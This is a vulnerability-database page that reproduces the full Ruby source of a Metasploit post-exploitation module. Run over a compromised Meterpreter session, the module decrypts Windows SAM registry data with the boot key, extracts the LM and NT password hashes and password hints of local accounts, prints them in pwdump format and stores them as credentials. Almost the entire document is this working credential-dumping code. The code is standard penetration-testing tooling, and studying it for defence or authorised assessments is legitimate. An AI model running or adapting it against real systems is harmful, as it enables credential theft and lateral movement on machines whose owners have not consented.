Lucene search
K

Windows Gather Local User Account Password Hashes (Registry)

🗓️ 14 May 2012 22:44:35Reported by hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 47 Views

Module dumps local user account password hashes from SAM database using registry

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'English'
class MetasploitModule < Msf::Post
  include Msf::Auxiliary::Report
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Registry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Local User Account Password Hashes (Registry)',
        'Description' => %q{ This module will dump the local user accounts from the SAM database using the registry },
        'License' => MSF_LICENSE,
        'Author' => [ 'hdm' ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_registry_open_key
            ]
          }
        }
      )
    )

    # Constants for SAM decryption
    @sam_lmpass = "LMPASSWORD\x00"
    @sam_ntpass = "NTPASSWORD\x00"
    @sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
    @sam_numeric = "0123456789012345678901234567890123456789\x00"
    @sam_empty_lm = ['aad3b435b51404eeaad3b435b51404ee'].pack('H*')
    @sam_empty_nt = ['31d6cfe0d16ae931b73c59d7e0c089c0'].pack('H*')
  end

  def run
    tries = 0

    begin
      print_status('Obtaining the boot key...')
      bootkey = capture_boot_key

      print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack('H*')[0]}...")
      hbootkey = capture_hboot_key(bootkey)

      print_status('Obtaining the user list and keys...')
      users = capture_user_keys

      print_status('Decrypting user keys...')
      users = decrypt_user_keys(hbootkey, users)

      print_status('Dumping password hints...')
      print_line
      hint_count = 0
      users.keys.sort { |a, b| a <=> b }.each do |rid|
        # If we have a hint then print it
        if !users[rid][:UserPasswordHint].nil? && !users[rid][:UserPasswordHint].empty?
          print_line "#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\""
          hint_count += 1
        end
      end
      print_line 'No users with password hints on this system' if hint_count == 0
      print_line

      print_status('Dumping password hashes...')
      print_line
      print_line

      # Assemble the information about the SMB service for this host
      service_data = {
        address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
        port: 445,
        service_name: 'smb',
        protocol: 'tcp',
        workspace_id: myworkspace_id
      }

      # Assemble data about the credential objects we will be creating
      credential_data = {
        origin_type: :session,
        session_id: session_db_id,
        post_reference_name: refname,
        private_type: :ntlm_hash
      }

      # Merge the service data into the credential data
      credential_data.merge!(service_data)

      users.keys.sort { |a, b| a <=> b }.each do |rid|
        hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack('H*')[0]}:#{users[rid][:hashnt].unpack('H*')[0]}:::"

        # Add the details for this specific credential
        credential_data[:private_data] = users[rid][:hashlm].unpack('H*')[0] + ':' + users[rid][:hashnt].unpack('H*')[0]
        credential_data[:username] = users[rid][:Name].downcase

        # Create the Metasploit::Credential::Core object
        credential_core = create_credential(credential_data)

        # Assemble the options hash for creating the Metasploit::Credential::Login object
        login_data = {
          core: credential_core,
          status: Metasploit::Model::Login::Status::UNTRIED
        }

        # Merge in the service data and create our Login
        login_data.merge!(service_data)
        login = create_credential_login(login_data)

        print_line hashstring
      end
      print_line
      print_line
    rescue ::Interrupt
      raise $ERROR_INFO
    rescue ::Rex::Post::Meterpreter::RequestError => e
      # Sometimes we get this invalid handle race condition.
      # So let's retry a couple of times before giving up.
      # See bug #6815
      if (tries < 5) && e.to_s =~ (/The handle is invalid/)
        print_status('Handle is invalid, retrying...')
        tries += 1
        retry

      else
        print_error("Meterpreter Exception: #{e.class} #{e}")
        print_error('This script requires the use of a SYSTEM user context (hint: migrate into service process)')
      end
      # rescue ::Exception => e
      #	print_error("Error: #{e.class} #{e} #{e.backtrace}")
    end
  end

  def capture_hboot_key(bootkey)
    ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account', KEY_READ)
    return if !ok

    vf = ok.query_value('F')
    return if !vf

    vf = vf.data
    ok.close

    revision = vf[0x68, 4].unpack('V')[0]

    case revision
    when 1
      hash = Digest::MD5.new
      hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)

      rc4 = OpenSSL::Cipher.new('rc4')
      rc4.decrypt
      rc4.key = hash.digest
      hbootkey = rc4.update(vf[0x80, 32])
      hbootkey << rc4.final
      hbootkey
    when 2
      aes = OpenSSL::Cipher.new('aes-128-cbc')
      aes.decrypt
      aes.key = bootkey
      aes.padding = 0
      aes.iv = vf[0x78, 16]
      aes.update(vf[0x88, 16]) # we need only 16 bytes
    else
      raise NotImplementedError, "Unknown hboot_key revision: #{revision}"
    end
  end

  def capture_user_keys
    users = {}
    ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account\\Users', KEY_READ)
    return if !ok

    ok.enum_key.each do |usr|
      uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ)
      next if usr == 'Names'

      users[usr.to_i(16)] ||= {}
      users[usr.to_i(16)][:F] = uk.query_value('F').data
      users[usr.to_i(16)][:V] = uk.query_value('V').data

      # Attempt to get Hints (from Win7/Win8 Location)
      begin
        users[usr.to_i(16)][:UserPasswordHint] = uk.query_value('UserPasswordHint').data
      rescue ::Rex::Post::Meterpreter::RequestError
        users[usr.to_i(16)][:UserPasswordHint] = nil
      end

      uk.close
    end
    ok.close

    ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account\\Users\\Names', KEY_READ)
    ok.enum_key.each do |usr|
      uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
      r = uk.query_value('')
      rid = r.type
      users[rid] ||= {}
      users[rid][:Name] = usr

      # Attempt to get Hints (from WinXP Location) only if it's not set yet
      if users[rid][:UserPasswordHint].nil?
        begin
          uk_hint = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ)
          users[rid][:UserPasswordHint] = uk_hint.query_value('').data
        rescue ::Rex::Post::Meterpreter::RequestError
          users[rid][:UserPasswordHint] = nil
        end
      end

      uk.close
    end
    ok.close
    users
  end

  def decrypt_user_keys(hbootkey, users)
    users.each_key do |rid|
      user = users[rid]

      hashlm_off = user[:V][0x9c, 4].unpack('V')[0] + 0xcc
      hashlm_len = user[:V][0xa0, 4].unpack('V')[0]
      hashlm_enc = user[:V][hashlm_off, hashlm_len]

      hashnt_off = user[:V][0xa8, 4].unpack('V')[0] + 0xcc
      hashnt_len = user[:V][0xac, 4].unpack('V')[0]
      hashnt_enc = user[:V][hashnt_off, hashnt_len]

      user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass, @sam_empty_lm)
      user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass, @sam_empty_nt)
    end

    users
  end

  def decode_windows_hint(e_string)
    d_string = ''
    e_string.scan(/..../).each do |chunk|
      bytes = chunk.scan(/../)
      d_string += (bytes[1] + bytes[0]).to_s.hex.chr
    end
    d_string
  end

  def rid_to_key(rid)
    s1 = [rid].pack('V')
    s1 << s1[0, 3]

    s2b = [rid].pack('V').unpack('C4')
    s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack('C4')
    s2 << s2[0, 3]

    [convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
  end

  def decrypt_user_hash(rid, hbootkey, enchash, pass, default)
    revision = enchash[2, 2].unpack('v')[0]

    case revision
    when 1
      if enchash.length < 20
        return default
      end

      md5 = Digest::MD5.new
      md5.update(hbootkey[0, 16] + [rid].pack('V') + pass)

      rc4 = OpenSSL::Cipher.new('rc4')
      rc4.decrypt
      rc4.key = md5.digest
      okey = rc4.update(enchash[4, 16])
    when 2
      if enchash.length < 40
        return default
      end

      aes = OpenSSL::Cipher.new('aes-128-cbc')
      aes.decrypt
      aes.key = hbootkey[0, 16]
      aes.padding = 0
      aes.iv = enchash[8, 16]
      okey = aes.update(enchash[24, 16]) # we need only 16 bytes
    else
      print_error("Unknown user hash revision: #{revision}")
      return default
    end

    des_k1, des_k2 = rid_to_key(rid)

    d1 = OpenSSL::Cipher.new('des-ecb')
    d1.decrypt
    d1.padding = 0
    d1.key = des_k1

    d2 = OpenSSL::Cipher.new('des-ecb')
    d2.decrypt
    d2.padding = 0
    d2.key = des_k2

    d1o = d1.update(okey[0, 8])
    d1o << d1.final

    d2o = d2.update(okey[8, 8])
    d1o << d2.final
    d1o + d2o
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation